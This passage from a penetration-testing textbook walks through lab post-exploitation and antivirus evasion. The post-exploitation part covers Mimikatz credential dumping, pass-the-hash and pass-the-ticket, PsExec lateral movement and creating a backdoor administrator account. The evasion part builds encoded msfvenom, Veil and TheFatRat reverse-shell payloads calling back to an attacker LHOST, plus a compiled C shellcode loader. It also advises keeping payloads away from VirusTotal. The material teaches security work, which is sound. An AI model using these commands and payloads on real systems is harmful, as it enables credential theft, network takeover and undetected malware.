Let's look at options that exist within Meterpreter. Recall from Chapter 5, Diving into the
Metasploit Framework, that using a Meterpreter shell provides a lot more functionality.
Once you have compromised a system, you may want to migrate your Meterpreter session
to another process in order to avoid detection or gain persistence. Process migration can be
done by using the run post/windows/manage/migrate command from a Meterpreter
session:
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Figure 8: Meterpreter process migration

Meterpreter enables the use of additional extension categories such as
powershell and Mimikatz. These can be loaded using the load command from a
Meterpreter shell:

Figure 9: Loading meterpreter modules

Performing privilege escalation to a local system using Meterpreter is possible by using the
getsystem command.
This command tells Meterpreter to use any available technique to obtain local system
privileges. These techniques are Named Pipe Impersonation and Token Elevation:

Figure 10: Escalating to system privileges using Meterpreter

In the upcoming section of this chapter (Performing post-exploitation attacks), we will look at
how we can use some of Meterpreter's features to perform post-exploitation activities.

Empire
Empire is another great tool that can be used for post-exploitation. It is flexible and
leverages secure communications. It provides you with the ability to run PowerShell agents
without the need for powershell.exe. The post-exploitation modules range from
keyloggers to credential extraction tools such as Mimikatz.
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Empire can be installed by cloning the repository. You can do this by using the following
command:
git clone https://github.com/EmpireProject/Empire.git

Once the repository is cloned, you can install Empire using the ./install.sh command
within its directory. Once the installation is completed, you can run Empire using the
./empire command.
When Empire loads, you will be presented with the main screen, which shows the modules
that were loaded, listeners, and active agents:

Figure 11: Empire main screen

Before you can have an active agent, we need to create a listener. This is done using the
listeners command and then defining the type of listener we want to create using the
uselistener [type] command. There are various types, such as http,
meterpreter and redirector.
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Let's set up a simple http listener using the uselistener http command. Once you
selected the listeners , you can check the available options using the info command:

Figure 12: Viewing the listener options

Take note of the fields that are Required. By default, the only thing you will need to
provide is a name for the listener. This can be done using the set Name [name] command.
In my example, I have given my listener a name, that is, Metasploitable3. Once you have
defined a name, enter the execute command to start the listener.
Empire commands are case-sensitive. Using the set name command will
not work—you must use set Name.
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Now that you have set up the listener, you will need to link a stager to the listener. This can
be done by going back to the listeners configuration using the back command. To define a
stager, you will use the usestager [stager] command. You can view a full list of stagers
by pressing the Tab button twice.
We will create a simple windows launcher stager by using the usestager
windows/launcher_bat command. This will create a batch file that can be run on the
target machine and store it in a temporary location:

Figure 13: Creating a stager using Empire

Once the stager has been created, all you need to do is run the file on the target system.
Once you run the stager, it will connect back to Empire and become an agent:
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Figure 14: Active agent in Empire

To interact with the agent, we use the interact [agent name] command.
Using the sysinfo command, we can confirm that we have administrative integrity. This is
defined by the value of 1 in the High Integrity variable:

Figure 15: Obtaining the remote system information
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Once you have access to the agent, you can perform post-exploitation activities as you
please.

Responder
The responder is a tool that can be used to quickly gain credentials. It is built into Kali
Linux and it leverages LLMNR, NBT-NS, and MDNS poisoners, which are simple to use
against vulnerable networks. The Responder is successful purely because network
components such as ARP (Address Resolution Protocol), DHCP (Dynamic Host
Configuration Protocol), and DNS (Domain Name System) are not configured securely.
Link Local Multicast Name Resolution (LLMNR) and NetBios-Name
Service (NBT-NS) are components that are used within Windows
operating systems for communication and name resolution; they attempt
to resolve names when DNS fails. MDNS stands for Microsoft DNS.
The basic syntax for the Responder is responder -I [interface].
The Responder has a number of poisoning servers that are available. These are configurable
via the configuration file that exists in /usr/share/responder/Responder.conf:

Figure 16: Responder poisoning servers
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To understand how the Responder works, let's consider the following scenario.
A user is directed to a non-existent share either using social engineering, opening a
malicious document that forces the computer to try to access a non-existent share, or by
making a typo while trying to access a legitimate share.
Let's follow these steps to see this in action:
1. The PC will attempt to connect to the non-existent file share by performing name
resolution to its configured DNS server:

Figure 17: User attempting to access a non-existent share

2. The DNS server doesn't have the record that matches what the PC is attempting
to access, so it will tell the PC that the record does not exist. This is where
LLMNR and NetBIOS-NS queries takes over.
3. The PC will then broadcast using LLMNR and NetBIOS-NS, which will be
intercepted by the attacker running the Responder.
4. The Responder will answer the query and trick the PC into believing it has the
share. It will then proceed to ask the PC to encrypt a challenge request with the
user's password hash. Once the hash challenge is completed, the Responder will
drop the request with an error.
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5. The Responder has now captured the hash and displayed it on the console:

Figure 18: NTLMv2 hash captured

Once the hash is captured, it can be cracked using a tool such as hashcat:

Figure 19: Using hashcat to crack the NLTMv2 hash

The Responder has the ability to create a rogue proxy server, which will answer Web Proxy
Auto Discovery (WPAD) requests. This is a protocol and is used by clients to download a
configuration file that will define proxy settings. With the rogue proxy, the Responder is
able to force authentication, hence tricking the user into entering their credentials, which
can be captured.
Although the Responder is not a post-exploitation tool per se, understanding how it works
can be helpful in post-exploitation activities if you find yourself stuck. There is no harm in
leaving it running while performing other post-exploitation activities, as chances are that
you will collect a good number of hashes, especially in big environments where users are
prone to make a typo when trying to access a share.
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Mimikatz
Mimikatz is a tool that is well-known in the community. It is an open source application
that allows you to interact with credentials such as NTLM hashes or Kerberos tickets. The
tool is constantly maintained and its attack vectors are kept up to date. The repository for
Mimikatz is located here: https://github.com/gentilkiwi/mimikatz.
Both attackers and penetration testers will commonly use Mimikatz to steal credentials and
perform activities such as privilege escalation. With the advancements made in antivirus
technologies, this tool is often detected by antivirus products. However, there are a number
of articles available on the internet on how to evade detection when using Mimikatz.
Some of the main features of Mimikatz are as follows:
Pass-the-Hash (PtH): Within Windows, password data is stored in a hash format
(NTLM). Mimikatz allows you to leverage this hash and pass it to your target,
hence removing the need to crack the hash. By passing this hash, you can obtain
access to the target system and have full privileges of the account that belongs to
the hash.
Pass-the-Ticket: This attack involves authenticating to a system using Kerberos
tickets; there is no need to have the account's password. It works by capturing
the Kerberos tickets of a valid account. Capturing the Ticket Granting Tticket
(TGT) can be used to request service tickets from the Ticket Granting
Service (TGS) to access any resource that the account has access to.
Overpass-the-Hash (Pass-the-Key): This attack is a combination of both passthe-hash and pass-the-ticket attacks. By using a valid NTLM hash, you will be
able to obtain a valid user's Kerberos ticket request.
Kerberos Silver Ticket: A silver ticket attack entails creating a forget service
ticket. These tickets can provide access to a particular service. For example,
creating a silver ticket of a SQL service account allows you to access a SQL
service on a particular host. When performing a silver ticket account, there is no
communication required with the domain controller. This allows you to avoid
detection.
Kerberos Golden Ticket: This attack involves an account known as krbtgt. This
account is used to encrypt and sign all Kerberos tickets within an AD domain.
The golden ticket attack involves stealing the krbtgt hash; once this is stolen,
you are able to create and sign your own Kerberos tickets. This ultimately gives
you full access to anything within the domain, and the ticket does not expire.
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Mimikatz is leveraged in a number of post-exploitation tools, such as Empire, Metasploit
Framework, and Powersploit.

Performing post-exploitation attacks
Let's perform some post-exploitation attacks in the lab environment. We will use the
Metasploitable 3 virtual machine as an entry point, since we know there are vulnerabilities
that exist.
Using the windows/smb/ms17_010_eternalblue exploit, we will spawn a Meterpreter
session. Once we have the session established, we will escalate to system privileges using
the getsystem command.
Once we have a Meterpreter session, we will confirm the current system's information
using the sysinfo command:

Figure 20: Conﬁrming current system information

Here, we have some interesting information: we can see that there are three users who are
logged in. Let's proceed and perform credential harvesting.
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Performing credential harvesting
Now that we know there are three users logged in, we will attempt to extract any
credentials. To do this, we will load the kiwi extension within Meterpreter using the load
kiwi command. Once the extension has loaded, we will dump the current logged on user
credentials using the kiwi_cmd sekurlsa::logonpasswords command:

Figure 21: Loading the kiwi extension

When we use the kiwi_cmd sekurlsa::logonpasswords command, we are telling
Meterpreter to use a command that we will define by entering kiwi_cmd, and then we
define the command we want to use within Mimikatz. The
sekurlsa::logonpasswords command is responsible for extracting passwords, keys, pin
codes, and tickets from the Local Security Authority Subsystem Service (lsass) within
memory.
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Once the command runs, there will be a lot of output. Take note of the output in the
following screenshot. Here, we have some valuable information. We can see that there is a
user account called serveradmin who is logged in. We have the user account's LM and
NTLM hash, and since the domain is still using wdigest, we have the cleartext password
of P@ssw0rd!@#$%:

Figure 22: ServerAdmin credentials dumped with Mimikatz
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Looking deeper into the output, we have another interesting credential, helpdeskagent.
Here, we also have the NTLM hash and cleartext password:

Figure 23: helpdeskagent credentials dumped with Mimikatz

Now, we have two interesting accounts that we have harvested for use. Before moving on
to lateral movement, we will upload two files using Meterpreter, using the following steps:
1. View the current working directory by using the pwd command.
2. You can either upload the files here or create a new folder. I have created a new
folder called tools.
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3. Ensure that you have downloaded the Windows version of mimikatz.exe from
the GitHub repository that we mentioned in the Mimikatz section. Upload the file
using the upload command:

Figure 24: Uploading mimikatz.exe

The next file that will be uploaded is PSexec.exe. PSexec is used to perform remote
command execution and can be downloaded from https://docs.microsoft.com/en-us/
sysinternals/downloads/psexec.
In a real penetration test, you would not simply upload files, especially Mimikatz and
PSexec, as they would probably be deleted by the local antivirus or logged and the IT staff
could be alerted to your presence on the machine. In the case of this demo, there is no
antivirus or logging software installed on Metasploitable 3.
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Lastly, we will create a local user account that we can use to access the server. We can do
this from Windows Command Prompt, which can be accessed by using the shell
command in Meterpreter. Once we have shell access, we will use the following two
commands to create a local user in the built-in administrators group:
net user [username] [password] /add
net localgroup [group name] [username] /add

This command creates a local user and adds the user to a specified group:

Figure 25: Creating a local administrative user

Having this local administrative user account can form a backdoor.

Performing Overpass-the-Hash
Since we have determined that Metasploitable 3 is a server, let's attempt to log in using the
local account we created in the event that one of the users whose hashes we harvested
might be logged in. To perform this, we will use the xfreerdp tool, which is built into Kali.
The command syntax we will use is as follows:
xfreerdp /u:Pentester /p:Pentest@1! /v:192.168.10.15
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In this command, we are defining the user (/u), the password (/p), and the server IP (/v).
Once you have entered the command, you will have a remote desktop session:

Figure 26: Remote desktop session established
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Now that we are logged in to the server, let's attempt to enumerate the current domain
users and groups. Remember that we have harvested the credentials for serveradmin and
helpdeskagent. Opening Command Prompt and entering the net user
/domain command fails since we are not authenticated to the domain:

Figure 27: User enumeration denied

Since we have the hashes for two domain credentials, let's use this to perform an Overpassthe-Hash attack. We will use the hash of serveradmin with the Mimikatz tool. The
command to do this is as follows:
Mimikatz.exe "privilege::debug" "sekurlsa::pth /user:serveradmin
/ntlm:[ntlm hash] /domain:pentest.lab" "exit"

In this command, we are telling Mimikatz to use the highest privilege
(privilege::debug) by using the Overpass-the-Hash attack (sekurlsa::pth) and
defining the username (/user), the NTLM hash (/ntlm), and the domain (/domain).
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Once the command executes, we will have a new Command Prompt window that will
open. This window will have the permissions of the serveradmin account, hence allowing
us to perform the user and group enumeration while masquerading as serveradmin:

Figure 28: Successful Overpass-the-Hash attack
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Now, let's see what we can do with the helpdeskagent account. During user and group
enumeration, we determined that there is a helpdeskagent account and a Helpdesk
Staff group within the domain. Let's assume that the user account is a member of this
group. We can confirm this by using the net user helpdeskagent /domain command:

Figure 29: Verifying the groups of helpdeskagent

Sure enough, the account is a member of the group.
Before proceeding to the next step, we will repeat the Overpass-the-Hash
attack, but this time using the NTLM hash of the helpdeskagent
account.

[ 309 ]

Moving Laterally and Escalating Your Privileges

Chapter 10

Performing lateral movement
Using the new command window that was spawned by the Overpass-the-Hash attack
using the helpdeskagent account, we will attempt to access the Windows 10 PC.
Performing a simple directory listing using the dir \\192.168.10.9\c$ command
results in the directory being listed. This tells us that Helpdesk Staff probably has local
admin privileges on that PC.
The first thing we will do is copy Mimikatz to the Windows 10 PC. This can be done by
using the xcopy mimikatz.exe \\192.168.10.9\c$\tools command. As per the
following screenshot, since I didn't create the directory, I am prompted to define whether
the destination is a file or directory:

Figure 30: Copying mimikatz.exe to a new target

Using PSexec, we will look at dumping the current logged in user credentials. This can be
done by using the following command:
psexec.exe \\192.168.10.9 -accepteula cmd /c (cd c:\tools ^& mimikatz.exe
"privilege::debug" "seckurlsa::logonpasswords" "exit")

In this command, we are telling PSexec to run the Mimikatz command on the remote
system. The -accepteula command is extremely important as this will stop the EULA
prompt from showing up on the remote system:

Figure 31: Using PSexec to remotely execute the mimikatz command
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Once we have the output, we will see that there is a high privilege account logged in, that
is, domainadmin:

Figure 32: Harvesting credentials on a remote system

Here, we don't have the password in cleartext, but we still have the NTLM hash, which we
can use. The next thing we will do is perform a Pass-the-Ticket attack. We will use the same
command-line window that we used in this section.
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Performing a Pass-the-Ticket attack
In order to perform this attack, we need to export the current Kerberos tickets from the
Windows 10 PC. This can be done using the following command:
psexec.exe \\192.168.10.9 -accepteula cmd /c (cd c:\tools ^& mimikatz.exe
"privilege::debug" "sekurlsa::tickets /export" "exit")

In this command, we are exporting the current Kerberos tickets so that we can copy them
and import them into our session. Once you run this command, you will have a number of
*.kirbi files. Since we are only interested in domainadmin, we will copy those to our
Metasploitable 3 server. Copying can be done using the normal Windows copy command.
Once you have the .kirbi files on the Metasploitable 3 server, you can perform the Passthe-Ticket attack by using the following command:
mimikatz.exe "privilege::debug" "kerberos::ptt c:\windows\system32\tools"
"exit"

In this command, we are defining the attack (kerberos:ptt) and the location of the
.kirbi files:

Figure 33: Importing the domainadmin Kerberos tickets
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Notice the output in the preceding screenshot. Before performing the attack, I tried to
access the DC, which was denied. Remember that this is the same window that we
spawned using the helpdeskagent account. Once the Mimikatz command has executed,
we will see that the domainadmin Kerberos tickets have been imported into our session.
We can confirm that the Kerberos tickets has been imported by running the
klist command, which will display the current Kerberos tickets:

Figure 34: Kerberos tickets successfully imported
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Notice that our session now has the Kerberos tickets for the domainadmin account. We are
now masquerading as the domain admin, so we will be able to access the domain
controller:

Figure 35: The domain controller is now accessible

At this point, we have full access to the domain controller, which leads to a full
compromise of the environment.

Summary
Post-exploitation can be performed in many different ways. Sometimes, using just one tool,
such as the Responder, can lead to you capturing a high privileged hash. On other
occasions, you need to really work through the environment by using various techniques.
In this chapter, we focused on just a few tools, but there are many more available.
In this chapter, you identified the various techniques that can be utilized when performing
post-exploitation. You can now build a basic AD lab, which can be used to test your skills in
post-exploitation. You have the ability to use real-world tools that are used by penetration
testers and attackers. You have also gained practical hands-on skills in regards to
performing various post-exploitation attacks.
In the next chapter (Chapter 12, Maintaining Control within the Environment), we will
discuss persistence and how to maintain access to the compromised network.
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Questions
1.
2.
3.
4.
5.

What techniques can be leveraged during post-exploitation?
What tools can be used for post-exploitation?
Name some post-exploitation scripts that exists within Meterpreter.
Explain a Pass-the-Hash attack.
What is unique about the krbtgt account?
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Antivirus Evasion
The concept of having antivirus software is nothing new. It is a common security control
that's used to protect users against malware and other types of malicious software.
Historically, it has been focused purely on the prevention of virus infections. In your
penetration testing engagements, finding a customer who doesn't have an antivirus is
extremely rare to almost impossible.
In this chapter, you will learn about the evolution of antivirus technologies and how they
are becoming more sophisticated. You will learn about various techniques that you can
leverage for antivirus evasion, and also learn about the tools that can help you utilize those
techniques. You will learn how to encode payloads to avoid detection and, finally, explore
the online tools that can be used to check the detection rate of your payload.
As you progress through this chapter, you will learn about the following topics:
The evolution of antivirus technologies
Concepts of antivirus evasion
Getting started with antivirus evasion
Testing evasion techniques

Technical requirements
To follow along with the examples and instructions in this chapter, please check that you
have the following technical requirements:
Kali Linux 2019.1
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The evolution of antivirus technologies
The threat landscape is evolving at a rapid pace. Over the past few years, there have been
attack vectors such as automated attacks, fileless malware, firmware-based malware,
advanced persistent threat (APT) malware, and, let's not forget, sophisticated ransomware.
Attackers have a repertoire of attacks that can leverage artificial intelligence and machine
learning at their disposal. Based on these advancements in attacks, antiviruses had to catch
up.

Out with the old
The traditional antivirus, which served the purpose of simply stopping viruses based on
signatures and looking for changes in filesystems or applications based on patterns, is no
longer sufficient. Even though signatures and pattern-based matching is still used today,
there are weaknesses that exist. For example, failure to update the signatures, or keeping up
with the large amount of malware that is released daily poses a massive risk. Heuristic
scanning is the ability of an antivirus to analyze code against a set of variables that will
indicate whether a virus exists. This approach enables the detection of an additional set of
viruses, but it can also be circumvented as the variables can be modified. The scanning and
interception abilities of the antivirus has its benefits, but these too can be bypassed.
Malware that exists now grows too rapidly for antivirus manufacturers to keep up with it.

In with the new
Today's antiviruses have evolved by having the ability to detect and prevent hidden
exploits, leverage threat intelligence, have full visibility of the endpoints (including
applications, processes, and memory), alert automation, forensic capabilities, and data
collection.
Antiviruses in this day and age can be called next-generation antiviruses, and use tactics
such as the following:
Look at exploit techniques that block a process that is using a typical method to
bypass a normal process operation. This method does not consider the file type
but the process itself.
Machine learning techniques that can be used to learn hundreds of variants of a
specific malicious file; a task which, in the older antivirus, would need some
human interaction and a sandbox environment to test each variant.
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Detection capabilities that look further than the disk. Malware such as fileless
malware doesn't drop anything on disk. Traditional antivirus software is unable
to detect this, but the next generation of antiviruses can.
Artificial intelligence, whose role is to decrease human intervention further by
enabling the antivirus to identify patterns, relate this to a threat, and update its
own database with the new pattern.
It may seem that these next-generation antiviruses make it impossible to evade, but it is still
possible. As its defense capabilities get better, so do the offensive tools that we can make
use of.

Concepts of antivirus evasion
During the exploitation phase of your penetration test, you will need to get code to run on
your target system. This can be done via phishing emails, an exploit, or social engineering.
The blocker that you will have is antivirus software (be it the traditional variant or the nextgeneration variant). The most effective way to bypass an antivirus is to create your own
customized payload. Before we dive into creating the payloads, let's consider a few tips:
Reconnaissance plays an important role in antivirus evasion. Knowing what your
target has is key. If you feel that you want to have a customized payload that
avoids all antivirus products, you are misleading yourself. The time spent to
achieve this will be too long, and with every vendor actively making
improvements to their products, your payload will be detectable in no time at all.
Narrow down your payload to your target's antivirus.
Once you have a working shellcode, you might reuse it again in later penetration
tests, and it may still work. To ensure that you reduce the detection capabilities
of your exploit, never submit it to services such as VirusTotal (this will be
covered later in this chapter) or any other online scanners. These online resources
usually submit the samples to antivirus vendors, who, in turn, use it to amp up
their detection capabilities.
Simplicity is key. Don't go for glamorous payloads with loads of features.
Remember, you are just trying to disable the antivirus and then use more
powerful tools.
Use resources that are available to you. For example, Metasploit has modules
that can be used for antivirus evasion. Online resources such as ExploitDB have
shellcodes that can be downloaded, customized, and used.
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Keeping these tips in mind will help as you progress through your penetration testing
career, as you have a good starting point in terms of what to consider when planning
antivirus evasion.

Antivirus evasion techniques
Now that we have established the need for antivirus evasion, let's look at the various
techniques that exist. The following are the most common techniques that can be used.

Encoders
Encoders allow you to avoid characters within an exploit that cause it to malfunction. By
using MSFvenom, you have access to a number of encoders. Encoding works by tearing
apart the payload and adding in additional code to mask the real payload. There are
decoding instructions that get added into the payload so that before it is run, it can be
decoded. MSFvenom has some built-in encoders, which we will look at later in this chapter.

Custom compiling
Using the built-in encoders of MSFvenom is not as efficient as we would want it to be.
Metasploit and its components are a constant highlight to antivirus manufacturers, and
they keep a close watch on the improvements that are made to encoders within it. To get
around this, you can leverage custom compiling to create an undetectable payload. Looking
at the C programming language, there are some key components that you could leverage to
add randomness to your code in an effort to trick antivirus programs into not detecting it.

Obfuscation
Obfuscation is the process of modifying the payload so that it's unclear to the antivirus, yet
it is still usable for its intended purpose. One way of obfuscating your payload is using
encryption. A tool such as Hyperion (which we will cover later) can be used to encrypt the
payload using Advanced Encryption Standard (AES). Once the payload is run, decryption
takes place and the payload is able to execute. This encryption helps reduce the detection
rate by antiviruses.
Of course, since antiviruses are constantly getting better, it's simply not possible to use just
one method of evasion. There is no silver bullet for antivirus evasion. You will need to
combine a few techniques to help reduce the detection rate of your payload.
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Getting started with antivirus evasion
When conducting a penetration test, there is a level of trust that is defined between you and
your client. When you drop any payloads into their environment, such as evading the
antivirus to create a backdoor to your system, you need to ensure that the payload connects
back to you only. There shouldn't be any bugs in the code that could lead to a real
compromise of the client's environment.
As you work through the various tools that are defined in this section, please ensure that
you explicitly define your system's IP that the target would connect back to. Doing so will
ensure that you enforce the concept of trust in the initial learning steps of your career.

MSFvenom
MSFvenom is a command-line tool and is part of the Metasploit Framework. It is used to
generate various shellcodes that can be used to provide a backdoor into a system.
Some of the common switches within MSFvenom are as follows:
-l

-p

-f

This is used to display a list of all modules within each category (encoders,
payloads, formats, encrypters, and more). For example, using msfvenom -l
payloads will display the current set of payloads available.
This defines the payload that will be used. For example, using the msfvenom
-p windows/x64/meterpreter_reverse_https command will define the
meterpreter reverse HTTPS payload.
This defines the output format. For example, you may want to create an .exe
or .c file.

-b

This is used to eliminate bad characters. Antiviruses look for bad characters
such as \x00.

-e

This is used to define the encoder that will be used. For example, one of the
commonly used encoders is /x86/shikata_ga_nai.

This is used to define the maximum number of times to encode the shellcode.
This is used to define the architecture. For example, -a x64 will create a 64-a
bit shellcode.
This is used to define the platform that the shellcode will target. For
--platform
example, --platform Windows for Windows operating systems.
-i
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MSFvenom has a lot more options and switches; the preceding table describes what you
would commonly use when creating a payload.
MSFvenom allows you to chain multiple commands together. This is done using the |
\ sequence at the end of each command.
To create the payload using a chain of commands, follow these steps. Take note of the |
\ sequence at the end of each command.
From a Terminal window, enter the following commands:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.34.153 LPORT=8080
-f raw -e x86/shikata_ga_nai -i 15 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 9 -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o
MSFV-payload.exe

When you have completed entering the preceding commands, you should get the following
output:

Figure 1: MSFvenom commands chained

In the first line of the command, we are defining the meterpreter/reverse_tcp payload
to be used. We then define our attacking host's IP (LHOST) and port (LPORT). We then use
the raw format (-f), and use the shikata_ga_nai encoder (-e) with 15 iterations (-i 15).
In the second line of the command, we further encode the raw file by now defining the
architecture (-a), the platform, which is Windows (--platform) in this case, and
the x86/countdown encoder with 9 iterations.
Lastly, we compile this by running the shikata_ga_nai encoder again and creating an
exe file using the -f exe -o option.
Once the command executes, it will create a backdoor file called MSFV-payload.exe,
which is stored in the /root/Downloads/ folder.
We will test this file's detection rate in the Testing evasion techniques section later in this
chapter.
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Veil Evasion
The Veil Evasion set of tools can be used to create shellcode that would evade common
antiviruses, and generate a reverse shell.
Installing the Veil suite of tools can be done as follows:
1. Open a Terminal window in Kali Linux.
2. Use the apt install -y veil command. This will download the Veil suite of
tools, all dependencies, and prepare them for installation. The -y command is
used to simply predefine the yes parameter when we are asked whether we
want to install the software.
3. Once everything has been downloaded, you can kick off the installation by
running the veil command (see the following screenshot). Use the s option for
silent installation. This will still show you what components are being installed,
but there will be no interaction required from your side:

Figure 2: Installing the components of Veil
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Once the installation of Veil has completed, you can run the tool by using
the veil command from a Terminal window. On the first launch, you will be presented
with the main window (see the following screenshot), which will show you the two tools
that have been loaded. Using a specific tool is done using the use [number] command; for
example, to use Evasion, you would use the use 1 command:

Figure 3: The Veil initial menu

The tools that we have available are Evasion and Ordnance. These two tools perform
different functions, as follows:
Evasion: This is used to generate a payload that can be used to bypass the

antivirus.
Ordnance: This is used to generate shellcode that can be used with Evasion.
Ordnance eliminates the need to use MSFvenom for shellcode generation. The
reason for this is that as MSFvenom is updated, it would break the payloads
created by Evasion.
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Let's create a malicious payload using Veil:
1. Start Veil using the veil command.
2. Once Veil has started, we will use the Evasion tool. Type in use 1:

Figure 4: Selecting the Evasion tool

3. To view the full list of payloads, enter the list payloads command. At the
time of writing, there are 41 payloads available within Veil Evasion. We will
create a payload using python/shellcode_inject/aes_encrypt.py. To
select this payload, we will use the number associated with it.
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4. To use the payload, we will issue the use 29 command:

Figure 5: Selecting the payload

5. Within the payload, we have a number of options that can be configured. If you
want to configure these, we can do so using the set [option name]
[value] command. For example, to configure the CLICKTRACK option, you will
use the set CLICKTRACK 1 command. We won't configure any options for now,
so we will type generate to proceed to the next step.

[ 325 ]

Antivirus Evasion

Chapter 11

6. Now we have options related to the shellcode (see the following screenshot).
Here, you will notice that we can leverage MSFVenom, Ordnance, Custom
shellcode strings, and more. We will use Ordnance to create the shellcode.
Enter choice number 1:

Figure 6: The shellcode selection

7. When you enter option 1, you are taken to the Veil-Ordnance menu (see the
following screenshot). Here, you have a few options, such as viewing the
payloads and encoders. To view the payloads, enter the list
payloads command:

Figure 7: Ordnance payloads
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8. We will use the rev_https payload by using the use 3 command to select it.
Now we are presented with options for the payload.
9. We will need to define some options here. Define the LHOST and LPORT variables.
Remember that this is the IP address and port that the target machine will
connect back to. I have also defined the Encoder to use the built-in
xor command. You can define these settings using the set command. Your
output should look similar to the following, with the exception of the LHOST IP
address:

Figure 8: Deﬁning the payload options
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10. Type generate to generate the shellcode. You will now see the output of the
shellcode, and Veil will ask you for a filename (see the following screenshot).
Give it a name and press Enter:

Figure 9: The generated shellcode

11. Once you have provided the base name for the output files, you will have a
choice to select an option to create the payload executable. For this demo, we will
use the default of PyInstaller.
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12. Once the process completes, you will have the locations of the malicious
executable and source code displayed:

Figure 10: The malicious executable created

By running this executable on the target machine, it will create a backdoor reverse shell to
the machine that you are using as the attacker. Of course, we still need to determine
whether this executable will be detected by any antiviruses. We will perform the testing in
the Testing evasion techniques section of this chapter.

TheFatRat
TheFatRat is another tool that can be used to generate undetectable payloads. It supports
payloads for Windows, Android, and macOS. It has a wealth of options, such as the
following:
Automating Metasploit functions (creating backdoors, antivirus evasion, starting
meterpreter listens, and more)
Creating backdoors based on Android APKs
File pumper (used to increase file size)
Creating backdoors using office files
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TheFatRat is not included by default with Kali Linux. It can be installed using the following
steps:
1. Open a Terminal window within Kali Linux and clone the repository for
TheFatRat using the following command:
git clone https://github.com/Screetsec/TheFatRat.git

2. Once the repository is cloned, navigate to the directory using the following
command:
cd TheFatRat

3. Change the file permissions and run the setup script using the following
command:
chmod +x setup.sh && ./setup.sh.

In this command, we are changing the permissions of the setup.sh file so that
we can run it.
4. During the setup process, all dependencies will be installed.
Once the installation is completed, you can run TheFatRat using the fatrat command.
During startup, TheFatRat provides a warning about not uploading your
generated payloads to VirusTotal. We will discuss this later in this
chapter, under the Testing evasion techniques section.
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Let's create a payload using TheFatRat:
1. From a Terminal window, launch TheFatRat by using the fatrat command.
2. Once the menu has loaded, you will notice there are a few options that can be
used:

Figure 11: TheFatRat main menu

3. Select option 2 to create a Fud with Fudwin.
Fud is an abbreviation of Fully Undetectable Payload.
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4. Once the Fudwin module has loaded, we have two options. We will select option
2 – Slow but Powerfull. This tool compiles a C program with a meterpreter
reverse TCP payload:

Figure 12: Tool selection using the Fudwin module

5. Once you have selected option 2, you will need to define the LHOST and LPORT
options. Next, you will need to select the architecture of the target operating
system. This can be x86 or x64.
6. Once the options are defined, the tool will take care of the rest. It will compile the
malicious payload into an executable, which will be stored within
the TheFatRat root folder within the output directory.
Once the file is run on the remote system, it will create a reverse tcp backdoor to the
attacking machine. In the Testing evasion techniques section, we will compare this payload's
detection rate to the others we have created.
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Custom compiling
Custom compiling can help reduce detection capabilities drastically. You can leverage
custom shellcodes that are available on the internet and tweak them, if needed, to perform
the function you are after.
In this section, we will cover the creation of a custom shellcode at a basic level. The creation
of shellcode can become complex and, as you progress in your penetration testing career,
you will build up your skills to write complex shellcodes. We will be covering shellcode
creation in the C programming language.
Websites such as Exploit-DB host a number of shellcodes that are posted
by the community. This can be accessed via the following URL: https://
www.exploit-db.com/shellcodes.
Let's create a custom shellcode using C.
To begin, we will create a shellcode file using MSFvenom. Let's use the same shellcode we
created earlier, but, this time, we will output it to a .C file:
1. From a Terminal window, create a new directory using the mkdir msfvshellcode command.
2. Navigate to the directory using the cd msfv-shellcode command.
3. Now, create the payload using the following commands, which are chained:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.34.153
LPORT=8080 -f raw -e x86/shikata_ga_nai -i 15 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 9 -f raw |
\
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f c
-o MSFV-shellcode.c

Once you have executed the preceding commands, MSFvenom will create the shellcode file.
Now, we need to add in a few variables so that we can compile this using the C
programming language. Edit the MSFV-shellcode.c file that was just created using a text
editor or nano.
Add in the following lines, which are marked in bold:
#include<stdio.h>
#include<string.h>
unsigned char buf[] =
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"\xbd\xa1\xe2\xe6\x8b\xd9\xeb\xd9\x74\x24\xf4\x5f\x2b\xc9\x66"
"\xb9\x1b\x01\x83\xef\xfc\x31\x6f\x12\x03\x6f\x12\x43\x17\x5c"
"\x54\x5a\x66\x22\xb1\x95\x4e\x51\x62\xd1\x2e\xa9\xa3\x7f\x68"
"\xd9\x32\xfc\x65\x1e\x05\x55\x6b\xdc\x31\x97\xb0\xa9\x85\xdb"
--snip-int main ()
{
printf("Shellcode Length: %d\n", strlen(buf));
int (*ret)() = (int(*)())buf;
ret();
}

In the preceding code, I cut out the shellcode so that the required lines of code are visible.
In your shellcode file, you will have a lot more characters underneath the unsigned char
buf [] = line.
In the preceding code, we added the following components:
#include<stdio.h>
#include<string.h>
int main

Here, we are calling a library that refers to input and output
functions.
Here, we are calling a library to manipulate strings, since we are
using the strlen function for string length.
This string is used to declare a function. Within the C programming
language, the function under main is what is run when the
program loads.

printf("Shellcode Length: This line is used to send a printed output and mask the shellcode
length.
%d\n
int (*ret)() =
int (*ret)() is used to declare a pointer,
(int(*)())buf;
while =(int(*)())buf; is the pointer that will be used.
ret() is calling that pointer, which then points to the shellcode
ret ()
that is run.
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Once you have added in the additional code, we can now compile this into an executable
file (see the following screenshot). This is done using the mingw32 compiler, which would
have been installed when you installed the Veil Framework. If this is not installed, you can
install it using the following command:
apt install mingw-w64

To compile the shellcode into an executable, use the following command:
x86_64-w64-mingw32-gcc MSFV-shellcode.c -o MSFV-shellcode.exe

We get the following output:

Figure 13: Compiling the shellcode into an executable

Now, you have an executable that will create a reverse shell. Using the process of custom
compiling, you can dramatically reduce the detection rate of antiviruses. You can further
obscure the detection rate by adding in additional random characters.

Testing evasion techniques
Testing your payload can be done in two ways. One way is to test it in a lab environment
with a replica of the target's system; however, this is not always possible as there might be
licensing requirements for the antivirus program that your client is using.
The other option you have is to submit the sample of the payload to online services such as
VirusTotal.

VirusTotal
VirusTotal is used by many in the security industry to submit files or URLs for malware
analysis. VirusTotal works by cross-checking the submission with over 70 antivirus
vendors. There is one catch with VirusTotal, and that is that the submission is shared with
antivirus vendors to help improve their detection capabilities.
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When you build your own payload, you won't want this to be shared with the antivirus
manufacturers. If it is shared, the chances of your payload working reduces dramatically, as
the detection rate will increase once the antivirus manufacturers use the submission signals
to update their detection capabilities.
VirusTotal can be accessed via the following URL: https://www.virustotal.com/.
Let's take a look at the payloads we created in the previous section, as well as their
detection rates.
